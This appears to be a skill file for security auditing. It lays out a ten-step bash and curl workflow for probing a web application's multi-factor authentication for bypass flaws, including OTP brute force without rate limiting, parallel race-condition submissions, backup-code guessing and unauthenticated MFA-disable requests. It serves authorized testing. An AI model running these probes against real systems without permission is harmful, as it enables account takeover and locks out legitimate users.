What this skill does
Systematically tests Multi-Factor Authentication (MFA) implementations for bypass vulnerabilities including missing rate limiting, OTP reuse, response manipulation, race conditions on OTP submission, direct navigation to post-MFA pages, backup code handling flaws, MFA disable without re-verification, session fixation pre-MFA, predictable OTP values, and client-side MFA state storage.
When to use
- When auditing a web application's MFA or 2FA implementation
- When testing TOTP, SMS OTP, email OTP, or push-notification based MFA flows
- When verifying whether MFA can be bypassed to gain unauthorized account access
- When evaluating backup code security or account recovery flows for MFA-enrolled users
Prerequisites
curlmust be installedparallel(GNU parallel) must be installed for race condition tests:apt install parallel- Valid test account with MFA enrolled
- Knowledge of the application's MFA verification endpoint and parameter names
Inputs
| Variable | Description | Example |
|---|---|---|
BASE_URL |
Base URL of the application | https://app.example.com |
MFA_ENDPOINT |
Endpoint that accepts OTP submission | /api/auth/mfa/verify |
POST_MFA_PAGE |
Page only accessible after successful MFA | /dashboard |
SESSION_COOKIE |
Session cookie value after username/password login (pre-MFA state) | session=abc123 |
KNOWN_OTP |
Valid OTP obtained via authenticator app (for reuse test) | 123456 |
MFA_PARAM |
POST parameter name for OTP value | code |
Workflow
Step 1: Map the MFA flow
BASE_URL="https://app.example.com"
MFA_ENDPOINT="/api/auth/mfa/verify"
POST_MFA_PAGE="/dashboard"
SESSION_COOKIE="session=abc123"
KNOWN_OTP="123456"
MFA_PARAM="code"
FULL_MFA_URL="${BASE_URL}${MFA_ENDPOINT}"
FULL_POST_MFA="${BASE_URL}${POST_MFA_PAGE}"
echo "=== Step 1: Map MFA flow ==="
echo "[+] MFA verification endpoint: $FULL_MFA_URL"
echo "[+] Post-MFA page: $FULL_POST_MFA"
# Check what parameters the MFA endpoint accepts
echo ""
echo "--- OPTIONS probe ---"
curl -s -X OPTIONS "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
--max-time 10 \
-D - -o /dev/null \
| grep -iE "^(HTTP|Allow|Content-Type):"
# Baseline: submit obviously wrong OTP
echo ""
echo "--- Baseline (wrong OTP: 000000) ---"
curl -s -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"000000\"}" \
--max-time 10
echo ""
Step 2: Test rate limiting on OTP verification
echo ""
echo "=== Step 2: Rate limiting test ==="
echo "[+] Submitting 20 incorrect OTPs in rapid succession..."
LOCKOUT_DETECTED=0
for i in $(seq 1 20); do
CODE=$(printf "%06d" $((RANDOM % 1000000)))
RESPONSE=$(curl -s -w "\n%{http_code}" -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"$CODE\"}" \
--max-time 10)
HTTP_CODE=$(echo "$RESPONSE" | tail -1)
BODY=$(echo "$RESPONSE" | head -1)
if echo "$BODY" | grep -qiE "locked|blocked|too many|rate.?limit|throttl"; then
echo " [OK] Attempt $i: Rate limiting triggered ($HTTP_CODE) -> PASS"
LOCKOUT_DETECTED=1
break
fi
if [ "$i" -eq 20 ] && [ "$LOCKOUT_DETECTED" -eq 0 ]; then
echo " [FAIL] 20 attempts completed without lockout -> NO RATE LIMITING"
fi
done
Step 3: Test OTP reuse
echo ""
echo "=== Step 3: OTP reuse test ==="
echo "[!] Requires a recently-used valid OTP stored in KNOWN_OTP."
if [ "$KNOWN_OTP" != "123456" ]; then
echo "[+] First use of OTP $KNOWN_OTP..."
RESP1=$(curl -s -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"$KNOWN_OTP\"}" \
--max-time 10 -c /tmp/mfa_cookies1.txt)
echo " Response 1: $RESP1" | head -c 200
echo ""
echo "[+] Second use of same OTP $KNOWN_OTP (should be rejected)..."
RESP2=$(curl -s -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"$KNOWN_OTP\"}" \
--max-time 10)
echo " Response 2: $RESP2" | head -c 200
if echo "$RESP2" | grep -qiE "success|true|token|redirect|dashboard"; then
echo ""
echo " [FAIL] Same OTP accepted twice -> OTP REUSE VULNERABILITY"
else
echo ""
echo " [OK] Second use rejected -> OTP reuse protection working"
fi
else
echo " [SKIP] Set KNOWN_OTP to a real used OTP to run this test."
fi
Step 4: Test response manipulation
echo ""
echo "=== Step 4: Response manipulation ==="
echo "[!] This test is most effective via a proxy (Burp Suite)."
echo " The following demonstrates what to look for in the response:"
echo ""
echo "--- Submit incorrect OTP and capture full response ---"
curl -s -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"999999\"}" \
--max-time 10 \
-v 2>&1 | grep -E "(^[<>]|success|status|result|error|false|true)"
echo ""
echo "[Manual check] Look for:"
echo " - JSON response with 'success': false -> intercept and change to true"
echo " - 'status': 'failure' -> change to 'success'"
echo " - HTTP 401 -> intercept and change to 200"
echo " - Redirect to /mfa-failed -> intercept and change to /dashboard"
echo " Use Burp Suite Repeater or match-and-replace rules for this test."
Step 5: Test direct navigation to post-MFA page
echo ""
echo "=== Step 5: Direct page access (MFA skip) ==="
echo "[+] Attempting to access post-MFA page with only pre-MFA session cookie..."
RESP=$(curl -s -w "\n%{http_code}" "$FULL_POST_MFA" \
-H "Cookie: $SESSION_COOKIE" \
--max-time 10 \
-L)
HTTP_CODE=$(echo "$RESP" | tail -1)
BODY=$(echo "$RESP" | head -1)
echo " HTTP status: $HTTP_CODE"
if [ "$HTTP_CODE" = "200" ]; then
if echo "$BODY" | grep -qiE "dashboard|welcome|account|profile|logout"; then
echo " [FAIL] Authenticated content returned without MFA -> MFA BYPASS via direct navigation"
else
echo " [INFO] 200 returned but content appears generic; verify manually"
fi
elif echo "$HTTP_CODE" | grep -qE "^(301|302|303)"; then
LOCATION=$(curl -s -D - "$FULL_POST_MFA" \
-H "Cookie: $SESSION_COOKIE" --max-time 10 | grep -i "^location:" | head -1)
if echo "$LOCATION" | grep -qiE "mfa|login|2fa|verify"; then
echo " [OK] Redirected to MFA/login -> direct access blocked"
else
echo " [WARN] Redirected to: $LOCATION -> verify destination manually"
fi
else
echo " [OK] Access denied ($HTTP_CODE) -> MFA enforcement working"
fi
Step 6: Test race condition on OTP submission
echo ""
echo "=== Step 6: Race condition test ==="
echo "[+] Submitting 10 parallel requests with valid OTP (requires GNU parallel)..."
if ! command -v parallel &>/dev/null; then
echo " [SKIP] GNU parallel not installed. Install with: apt install parallel"
else
# Send 10 concurrent requests with the same OTP
seq 1 10 | parallel -j10 "curl -s -X POST '$FULL_MFA_URL' \
-H 'Cookie: $SESSION_COOKIE' \
-H 'Content-Type: application/json' \
--data '{\"${MFA_PARAM}\": \"$KNOWN_OTP\"}' \
--max-time 10" \
| grep -cE "success|token|dashboard"
echo ""
echo " [Analysis] If multiple 'success' responses returned -> race condition allows"
echo " parallel OTP use before server-side invalidation completes"
fi
Step 7: Test backup code handling
echo ""
echo "=== Step 7: Backup code brute force ==="
echo "[+] Testing backup code space (typically 8-10 digit codes, 8-10 codes per account)..."
BACKUP_CODES_TRIED=0
BACKUP_LOCKOUT=0
for code in 00000000 11111111 12345678 87654321 00000001; do
RESP=$(curl -s -w "\n%{http_code}" -X POST "$FULL_MFA_URL" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data "{\"${MFA_PARAM}\": \"$code\", \"type\": \"backup\"}" \
--max-time 10)
HTTP_CODE=$(echo "$RESP" | tail -1)
BODY=$(echo "$RESP" | head -1)
BACKUP_CODES_TRIED=$((BACKUP_CODES_TRIED + 1))
if echo "$BODY" | grep -qiE "locked|too many|rate.?limit"; then
echo " [OK] Backup code rate limiting triggered at attempt $BACKUP_CODES_TRIED"
BACKUP_LOCKOUT=1
break
fi
done
if [ "$BACKUP_LOCKOUT" -eq 0 ]; then
echo " [WARN] No lockout after $BACKUP_CODES_TRIED backup code attempts -> verify rate limiting on backup codes"
fi
Step 8: Test MFA disable flow
echo ""
echo "=== Step 8: MFA disable without re-verification ==="
echo "[+] Attempting to disable MFA without providing current OTP or password..."
# Common MFA disable endpoints
for endpoint in "/api/auth/mfa/disable" "/api/user/mfa" "/account/security/2fa/disable" "/api/2fa/remove"; do
RESP=$(curl -s -w "\n%{http_code}" -X POST "${BASE_URL}${endpoint}" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
--data '{"action": "disable"}' \
--max-time 10)
HTTP_CODE=$(echo "$RESP" | tail -1)
BODY=$(echo "$RESP" | head -1)
if [ "$HTTP_CODE" != "404" ]; then
echo " Found endpoint: ${BASE_URL}${endpoint} (HTTP $HTTP_CODE)"
if echo "$BODY" | grep -qiE "disabled|removed|success|true"; then
echo " [FAIL] MFA disabled without re-verification -> VULNERABILITY"
else
echo " [OK] Request rejected -> re-verification likely required"
fi
fi
done
Step 9: Check client-side MFA state storage
echo ""
echo "=== Step 9: Client-side MFA state ==="
echo "[+] Checking for MFA status in cookies and localStorage-like responses..."
# Check cookies for MFA-related flags
curl -s "$BASE_URL/login" \
--max-time 10 \
-c /tmp/mfa_cookies_check.txt \
-D - \
-o /dev/null \
| grep -i "^Set-Cookie:" | while IFS= read -r cookie; do
echo " Cookie: $cookie"
if echo "$cookie" | grep -qiE "mfa|2fa|totp|otp|verified"; then
echo " [WARN] MFA-related cookie found -> check if value can be forged"
if echo "$cookie" | grep -qiE "HttpOnly" ; then
echo " [OK] HttpOnly set"
else
echo " [WARN] HttpOnly NOT set -> cookie accessible via JavaScript"
fi
fi
done
echo ""
echo "[Manual check] Open browser DevTools -> Application -> Local Storage"
echo " Look for keys containing: mfa, 2fa, verified, authenticated, step"
echo " If MFA state stored client-side without server-side validation -> set to true/bypass"
Step 10: Document bypass and impact
Reference: See REFERENCE.md for severity guide (9 classifications) and remediation checklist.
echo ""
echo "=== Step 10: Summary ==="
echo "Classify findings using the severity guide in REFERENCE.md"
echo "Apply remediation steps from REFERENCE.md to address identified weaknesses"
Done when
- MFA flow is mapped and baseline incorrect-OTP response is captured
- Rate limiting is tested with at least 20 sequential attempts
- OTP reuse is tested with a known valid code
- Direct page access is attempted with pre-MFA session cookie
- Race condition test is executed (if GNU parallel available)
- Backup code brute force resistance is spot-checked
- MFA disable endpoint is probed without re-verification
- Client-side cookies are inspected for MFA state flags
- All findings are classified by severity
Failure modes
| Symptom | Cause | Solution |
|---|---|---|
| All requests return 401 immediately | Pre-MFA session cookie expired or invalid | Re-authenticate to obtain a fresh pre-MFA session cookie |
| Rate limiting triggers after just 3 attempts | Aggressive lockout policy | Note as finding context; reduce test rate to avoid locking test account |
parallel command not found |
GNU parallel not installed | sudo apt install parallel or manually run concurrent curl commands in background with & |
| MFA endpoint returns 404 for all variants | Endpoint path is non-standard | Use browser DevTools Network tab to capture the actual MFA submission URL |
| Response manipulation test inconclusive | Server validates response integrity | This is expected for well-implemented MFA; document as pass |
Notes
- Always use dedicated test accounts for MFA bypass testing; repeated failed OTP attempts may lock legitimate user accounts.
- TOTP brute force is theoretically possible without rate limiting (1,000,000 combinations for 6-digit codes) but each code is valid for only 30 seconds — rate limiting is the primary defense.
- The race condition technique is documented in detail by James Kettle: concurrent requests exploit the window between OTP validation and invalidation.
- For SMS-based OTP, also test SIM-swap and SS7 attack scenarios as separate higher-level threat vectors.
- Reference: PortSwigger MFA lab — https://portswigger.net/web-security/authentication/multi-factor